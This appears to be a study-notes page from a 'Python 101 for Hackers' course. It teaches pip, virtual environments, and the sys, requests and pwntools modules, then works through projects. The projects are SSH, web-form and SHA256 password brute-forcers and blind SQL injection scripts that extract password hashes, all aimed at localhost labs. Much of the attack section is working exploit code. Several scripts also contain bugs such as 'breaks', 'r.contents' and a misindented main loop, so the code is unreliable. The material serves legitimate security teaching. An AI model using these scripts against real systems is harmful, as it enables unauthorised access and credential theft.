Foundations | Python 101 - P2

Attribution

This introduction to Python is based on our notes from the TCM Security - Python 101 for Hackers course by Riley Kidd.

We highly recommend this course as a starting point for learning Python – it was instrumental in building our understanding. A big thank you to the TCM Security team for providing such valuable resources!

Extending Python

Package Managers

A package is a bundle of files required for a module to work. Modules are libraries of existing code that we can import and use in our programs. pip is Python’s standard package manager.

Installing packages:

pip install pwntools    # install pwntools -- newest release
pip install pwntools==4.13.0    # install a specific version

Verifying the installation:

from pwn import *
exit()

Other useful operations:

pip uninstall pwntools  # uninstall package

pip list    # list installed libraries
pip freeze  # create a list of installed libraries

Using a requirements file:

For projects with multiple dependencies, we can use a requirements.txt file:

pwntools==4.13.0
py-cpuinfo==9.0.0
py-sneakers==1.0.1

Install everything at once: pip install -r requirements.txt

Virtual Environments

Virtual environments solve dependency conflicts by creating isolated Python environments. Each environment is independent – it doesn’t interfere with other environments or system packages. By default, a new virtual environment starts as a clean slate with no packages installed.

Installation:

pip install virtualenv
# or 
sudo apt install python3.11-venv

Usage:

mkdir virtual-demo; cd virtual-demo # create working dir
python3 -m venv env                 # create virtual environment
source env/bin/activate             # activate the environment
pip install pwntools                # install pwntools
deactivate                          # deactivate the environment

The SYS Module

The sys module provides functions and variables related to the Python runtime environment. It comes packaged with Python and gives us access to command-line arguments and low-level system functions.

# play around with commenting/uncommenting as you see fit

import sys

# version information of the python interpreter
print(sys.version)
# current executable binary
print(sys.executable)
# current platform
print(sys.platform)

# read from standard input -- stdin -- (filehandle)
#for line in sys.stdin:
#	if line.strip() == "exit":
#		break
#	sys.stdout.write(">> {}".format(line))

# flush the buffer
for i in range(1,5):
    sys.stdout.write(str(i))
    sys.stdout.flush()

# flush the buffer
for i in range(1,5):
    print(i)

# cool status bar denoting the progress of cracking
import time
for i in range(0, 51):
    # time.sleep(0.1)
    time.sleep(0) # to speed up execution for testing
    # use carrige return \r to jump to the start of the line each time
    sys.stdout.write("{} [{}{}]\r".format(i, '#'*i, "."*(50-i)))
    sys.stdout.flush()
sys.stdout.write("\n")

# ACCESSING COMMAND LINE ARGUMENTS
# list of the command line arguments
print(sys.argv)

# check number of args
if len(sys.argv) != 3:
    print("[X] To run {} enter a username and password".format(sys.argv[0]))
    sys.exit(5)

# assigning the cmd arguments
username = sys.argv[1]
password = sys.argv[2]

print("{} {}".format(username, password))

# access the path where python will search for modules
print(sys.path)
print("-"*50)
# access the modules we have access to
print(sys.modules)

# exit code
# return value after script is executed
# indicating running success or failure
# if everything went fine --> 0
# verify it with `echo $?`
sys.exit(0)

The REQUESTS Module

The requests library lets us make and process HTTP requests. For testing, we can use httpbin.org, which reflects our data back to us.

If it’s not installed, run pip install requests (though it comes preinstalled on Kali). By default, requests follows redirects for all HTTP verbs except HEAD.

# play around with commenting/uncommenting as you see fit

import requests

# x = requests.get('http://httpbin.org/get')
# # test the service -- `curl -I http://httpbin.org/get` 
# # -- (-I:fetch the headers only)

# # check the headers
# print(x.headers)
# # check a specific header
# print(x.headers['Server'])
# # check status code
# print(x.status_code)

# if x.status_code == 200:
# 	print("Success!")
# elif x.status_code == 404:
# 	# like for x = requests.get('http://httpbin.org/get123123')
# 	print("Not found!")

# # check how much time has elapsed from sending the request
# # to receiving the response
# print(x.elapsed)

# # check the cookies -- cookiejar object containing all the cookies
# print(x.cookies)

# # check the returned contents -- in bytes -- the FULL response
# print(x.content)
# # check the response -- in UNICODE
# print(x.text)

# # create a requests with parameters
# x = requests.get('http://httpbin.org/get', params={'id':'1'})
# print(x.url)
# # specify the parameters in the requesting url
# x = requests.get('http://httpbin.org/get?id=2')
# print(x.url)

# # specify additional information -- headers -- it is reflected in the response
# x = requests.get('http://httpbin.org/get', params={'id':'3'}, headers={'Accept':'application/json'})
# print(x.text)
# # specify additional information -- headers -- it is reflected in the response
# x = requests.get('http://httpbin.org/get', params={'id':'3'}, headers={'Accept':'application/json', 'test_header':'test'})
# print(x.text)

# ##### DELETE request
# x = requests.delete('http://httpbin.org/delete')
# print(x.text)

# ##### POST request -- data included as form
# x = requests.post('http://httpbin.org/post', data={'a':'b'})
# print(x.text)
# x = requests.post('http://httpbin.org/post', data={'a':'b', 'c':'d', 'e':'f'})
# print(x.text)

# # upload multipart encoded files
# # picture downloaded from google.com -- the logo
# # file is sent as in base64 encoded format
# files = {'file': open('google.png', 'rb')}
# x = requests.post('http://httpbin.org/post', files=files)
# print(x.text)

# ###### HANDLING BASIC AUTHENTICATION
# x = requests.get('http://httpbin.org/get', auth=('username','password'))
# print(x.text)
# # this is sent: "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=",
# # checking it -- `echo -ne dXNlcm5hbWU6cGFzc3dvcmQ= | base64 -d`
# translates to username:password

###### WORKING WITH SSL CERTS
# verify bad ssl cert --> certificate has expired error
# x = requests.get('https://expired.badssl.com')
# force it -- no error but a warning
# x = requests.get('https://expired.badssl.com', verify=False)


###### REDIRECTS
# # not really readable
# x = requests.get('http://github.com')
# print(x.headers)
# # check it with curl -- `curl -I http://github.com` 
# # -- 301 redirect to https://github.com

# # specify disallowing redirects
# x = requests.get('http://github.com', allow_redirects=False)
# print(x.headers)

# ##### TIMEOUTS -- waiting for the response
# # will throw an error -- will time out
# x = requests.get('http://httpbin.org/get', timeout=0.01)
# print(x.content)

###### STATEFUL request -- persising data across sessions -- SESSIONS
# x = requests.get('http://httpbin.org/cookies', cookies={'a':'b'})
# print(x.content)

# # better with sessions
# x = requests.Session()
# x.cookies.update({'a':'b'})
# print(x.get('http://httpbin.org/cookies').text)
# # will do with every subfrequent request -- no need to specify again
# print(x.get('http://httpbin.org/cookies').text)

# ##### PARSING THE JSON RESPONSE AS JSON
# x = requests.get('https://api.github.com/events')
# print(x.json())

##### Working with other data -- not just text
# download and save a picture
x = requests.get('https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png')
with open('google2.png', 'wb') as f:
    f.write(x.content)

The PWNTOOLS Module

Pwntools is a capture-the-flag framework and exploit development library. It includes features for interacting with local and remote processes, plus utilities for encoding, packing, and unpacking data across different architectures.

Install it with: pip install pwntools

# play around with commenting/uncommenting as you see fit

from pwn import *
# imports the functionality into the global namespace
# we can call the functions directly

# # create a cyclic pattern for buffer overflows 
# # for identifying the offset
# print(cyclic(50))
# # identify a position -- offset
# print(cyclic_find("laaa"))

# ##### shellcode and assembly
# print(shellcraft.sh())
# # assembly for execve -- /bin///sh

# # print it in assembly
# print(hexdump(asm(shellcraft.sh())))

# ##### processes -- LOCAL
# # start a local process -- sh
# p = process("/bin/sh")
# # send a command
# p.sendline("echo hello;")
# # start an interactive terminal
# p.interactive()

# ##### processes -- REMOTE -- start netcat listener before running
# # netcat listener -- `nc -lp 1234`
# # start a remote process -- sh
# # establish connection and start process
# r = remote("127.0.0.1", 1234)
# # send a hello
# r.sendline("hello!")
# # start interactive session
# r.interactive()
# # close connection
# r.close()

# ##### PACKING/UNPACKING NUMBERS
# # packing
# print(p32(0x13371337))
# # unpacking
# print(hex(u32(p32(0x13371337))))

# ##### LOADING FILES
# # load the file
# l = ELF('/bin/bash')
# # check base address -- information about how it was compiled
# print(hex(l.address))
# # check entrypoint
# print(hex(l.entry))

# # check the address of a specific symbol from the global offset table
# print(hex(l.got['write']))

# # grab info about a specific symbol from the procedure linkage table
# print(hex(l.plt['write']))

# ###### searching in an ELF file

# # search for the /bin/sh string the the file and grab the addresses
# # null terminator at the end
# for address in l.search(b'/bin/sh\x00'):
# 	print(hex(address))


# # search for a specific address in the elf file
# # look for the jump esp gadget
# # next() -- the first instance found
# print(hex(next(l.search(asm('jmp esp')))))

# ###### ROP -- automatised -- no need to load and search
# r = ROP(l)
# print(r.rbx)


##################### ENCRYPTION/ENCODING/HASHING FUNCTIONS

# print(xor("A","B"))
# # verify
# print(xor(xor("A","B"), "A"))

# # base64 encoding
# print(b64e(b"test"))
# # base64 decoding
# print(b64d(b"dGVzdA=="))

# # md5sum-s
# print(md5sumhex(b"hello"))

# # sha1
# print(sha1sumhex(b"hello"))

###### LOWER LEVEL FUNCTIONS
print(bits(b'a'))
# verify
print(unbits([0, 1, 1, 0, 0, 0, 0, 1]))

Automating with Python

Note: This requires a ssh-common-passwords.txt file and an open SSH port.

from pwn import *		# to interact with the ssh service
import paramiko			# for error handling
# under the hood the pwn module is making use of the paramiko module

host = "127.0.0.1"	# localhost
username = "kali"
attempts = 0					# number of attempts

with open("ssh-common-passwords.txt", "r") as password_list:
    for password in password_list:
        password = password.strip("\n")

        # us try-catch for authentication errors
        try:
            print("[{}] Attempting password: '{}'!".format(attempts, password))
            response = ssh(host=host, user=username, password=password, timeout=1)
                
            # authenticated connection
            if response.connected():
                print("[>] Valid password found: '{}'!".format(password))
                response.close()
                # already found the valid one, no need to look further
                break
            response.close()

        except paramiko.ssh_exception.AuthenticationException:
            print("[X] Invalid password!")
        attempts += 1

Project-2: SHA256 Password Cracking

from pwn import*
import sys

if len(sys.argv) != 2:
    print("Invalid arguments!")
    print(">> {} <sha256sum>".format(sys.argv[0]))
    exit()

wanted_hash = sys.argv[1]
print(wanted_hash)

password_file = "rockyou.txt"
attempts = 0		# for recording the number of attempts made

# imported from the pwn module
with log.progress("Attempting to crack: {}!\n".format(wanted_hash)) as p:
    with open(password_file, "r", encoding='latin-1') as password_list:
        for password in password_list:
            password = password.strip("\n").encode('latin-1')
                
            # create the hash for the current password -- imported from pwn module
            # sha256 in hex format!!!
            password_hash = sha256sumhex(password)

            # update the status of the cracking job
            p.status("[{}] {} == {}".format(attempts, password.decode('latin-1'), password_hash))

            if password_hash == wanted_hash:
                p.success("Passoword hash found after {} attempts! {} hashes to {}!".format(attempts, password.decode('latin-1'), password_hash))
                exit()
            attempts += 1

        # failure -- no matching password found
        p.failure("Password hash not found!")


# to run it -- test with 'python'
# `echo -ne python | sha256sum`
# `python3 sha256-crack.py 11a4a60b518bf24989d481468076e5d5982884626aed9faeb35b8576fcd223e1`

import requests
import sys # for creating our own progress bar

target = "http://127.0.0.1:5000"
usernames = ["admin", "user", "test"]
passwords = "top-100.txt"

# displayed after successful authentication/login
needle = "Welcome back"

for username in usernames:
    with open(passwords, "r") as passwords_list:
        for password in passwords_list:
                
            # clean it up
            password = password.strip("\n").encode()
                
            # write out and jump back to the start of the line with carrige return
            sys.stdout.write("[X] Attempting user:password -> {}:{}\r".format(username, password.decode()))

            # flush the buffer
            sys.stdout.flush()

            # sending the request
            r = requests.post(target, data={"username": username, "password": password})

            # check if successful login
            if needle.encode() in r.content:
                sys.stdout.write("\n")
                sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
                sys.exit()

        sys.stdout.flush()
        sys.stdout.write("\n")
        sys.stdout.write("\tNo password found for '{}'!".format(username))
        sys.stdout.write("\n")

Project-4: Exploiting SQL Injection

This script automates a blind SQL injection attack.

import requests

total_queries = 0
# the charset for the injection
# the extracted data format will be in hex
charset = "0123456789abcdef"
target = "http://127.0.0.1:5000"
needle = "Welcome back"

def injected_query(payload):
    global total_queries

    # make the request -- blind sql injection
    r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
    total_queries += 1

    # check if request succeeded or failed -- use it as inference
    return needle.encode() not in r.contents
    
def boolean_query(offset, user_id, character, operator=">"):
    payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
    return injected_query(payload)

# check if user is valid
def invalid_user(user_id):
    payload = "(select id from user where id = {}) >= 0".format(user_id)
    return injected_query(payload)

# check the length of the user's password hash
# increment till it can't be bigger --> proper length found
def password_length(user_id):
    i = 0
    while True:
        payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
        if not injected_query(payload):
            return i
        i += 1

# identify the user's hash -- brute-force chars for the indexes
def extract_hash(charset, user_id, password_length):
    # the correcth hash
    found = ""

    # try every char for all the indexes
    for i in range(0, password_length):
        for j in range(len(charset)):

            # i:offset -- if valid request -> correct char found
            if boolean_query(i, user_id, charset[j]):
                found += charset[j]
                breaks

    # the correct password hash
    return found

# print the current number of attempts and reset the counter
def total_queries_taken():
    global total_queries
    print("\t\t[!] {} total queries!".format(total_queries))
    total_queries = 0

# for interacting with the functions
while True:
    try:
        user_id = input("> Enter a user ID to extract the password hash: ")

        # check for valid user
        if not invalid_user(user_id):

            # identify the password's hash length for the user
            user_password_length = password_length(user_id)
            print("\t[-] User {} has length: {}".format(user_id, user_password_length))
            total_queries_taken()

            # get the user's password hash
            print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
            total_queries_taken()

        else:
            print("\t[X] User {} does not exist!".format(user_id))

    except KeyboardInterrupt:
        break

Project-5: Exploiting Restricted SQL Injection

Why not use SQLmap?

Sometimes existing tools fall short:

The tool might not find the injection point
There could be a limit on the number of queries allowed
Example: An API key with a daily request limit

How our SQL injection works

In a blind SQL injection, we extract one piece of information per request. We ask yes/no questions about each character: Is it greater than 7? Is it less than b?

The challenge

What if we could only make 128 queries?

A 32-character MD5 password
16 possible characters per position
128 ÷ 32 = 4 queries per character

This is tricky for standard tools but perfect for a custom script.

Binary Search

Instead of checking each character sequentially, we use binary search. We know the range (0 to f), so we compare against the middle value:

If the target is smaller, search the left half
If the target is larger, search the right half

Example finding the character 6:

Query #	Alphabet	Question	Result
1	0123456789abcdef	>7?	False
2	01234567	>3?	True
3	34567	>5?	True
4	567	>6?	False

Example finding the character b:

Query #	Alphabet	Question	Result
1	0123456789abcdef	>7?	True
2	789abcdef	>b?	False
3	789ab	>9?	True
4	9ab	>a?	True

Improved code with binary search:

import requests

total_queries = 0
# the charset for the injection
# the extracted data format will be in hex
charset = "0123456789abcdef"
target = "http://127.0.0.1:5000"
needle = "Welcome back"

def injected_query(payload):
    global total_queries

    # make the request -- blind sql injection
    r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password":"password"})
    total_queries += 1

    # check if request succeeded or failed -- use it as inference
    return needle.encode() not in r.contents
    
def boolean_query(offset, user_id, character, operator=">"):
    payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
    return injected_query(payload)

# check if user is valid
def invalid_user(user_id):
    payload = "(select id from user where id = {}) >= 0".format(user_id)
    return injected_query(payload)

# check the length of the user's password hash
# increment till it can't be bigger --> proper length found
def password_length(user_id):
    i = 0
    while True:
        payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
        if not injected_query(payload):
            return i
        i += 1

# identify the user's hash -- brute-force chars for the indexes
def extract_hash(charset, user_id, password_length):
    # the correcth hash
    found = ""

    # try every char for all the indexes
    for i in range(0, password_length):
        for j in range(len(charset)):

            # i:offset -- if valid request -> correct char found
            if boolean_query(i, user_id, charset[j]):
                found += charset[j]
                breaks

    # the correct password hash
    return found

######### IMPROVED PART -- BINARY SEARCH
def extract_hash_bst(charset, user_id, password_length):
    found = ""
        
    for index in range(0, password_length):
        start = 0
        end = len(charset) - 1

        # while we still have a middle
        while start <= end:

            if end - start == 1:
                # our search space is exhausted -- we do not need to keep iterating over the middle

                if start == 0 and boolean_query(index, user_id, charset[start]):
                    found += charset[start]
                else:
                    found += charset[start + 1]
                break

            else:
                # search space in NOT yet exhausted
                middle = (start + end) // 2

                if boolean_query(index, user_id, charset[middle]):
                    end = middle
                else:
                    start = middle

    return found

######### IMPROVED PART -- BINARY SEARCH

# print the current number of attempts and reset the counter
def total_queries_taken():
    global total_queries
    print("\t\t[!] {} total queries!".format(total_queries))
    total_queries = 0

    # for interacting with the functions
    while True:
        try:
            user_id = input("> Enter a user ID to extract the password hash: ")

            # check for valid user
            if not invalid_user(user_id):

                # identify the password's hash length for the user
                user_password_length = password_length(user_id)
                print("\t[-] User {} has length: {}".format(user_id, user_password_length))
                total_queries_taken()

                # get the user's password hash
                print("\t[-] User {} hash: {}".format(user_id, extract_hash(charset, int(user_id), user_password_length)))
                total_queries_taken()

######### IMPROVED PART -- BINARY SEARCH

                print("\t[-] User {} hash: {}".format(user_id, extract_hash_bst(charset, int(user_id), user_password_length)))
                total_queries_taken()

######### IMPROVED PART -- BINARY SEARCH

            else:
                print("\t[X] User {} does not exist!".format(user_id))

        except KeyboardInterrupt:
            break

Closing Thoughts

Why Comments Matter

Comments make code readable and maintainable. Use them to explain the why behind your code, not just the what.

unknown = lambda x, y: [x[i:i+y] for i in range(0, len(x), y)]

def unknown2(x, y):
    return [y for x in list for y in x]

# this is a comment!

# this line too!

print("asdasd")	# end of valid python

"""
create
multi
line comments
"""

print("hello world!")

Next Steps

Practice regularly – write scripts for real problems you encounter
Read existing tools and scripts to learn different approaches
Modify and improve tools you find
Build your own scripts from scratch
Think like a programmer when approaching security testing

Extending Python#

Package Managers#

Virtual Environments#

The SYS Module#

The REQUESTS Module#

The PWNTOOLS Module#

Automating with Python#

Project-1: SSH Login Brute Forcing#

Project-2: SHA256 Password Cracking#

Project-3: Web Login Form Brute Forcing#

Project-4: Exploiting SQL Injection#

Project-5: Exploiting Restricted SQL Injection#

Closing Thoughts#

Why Comments Matter#

Next Steps#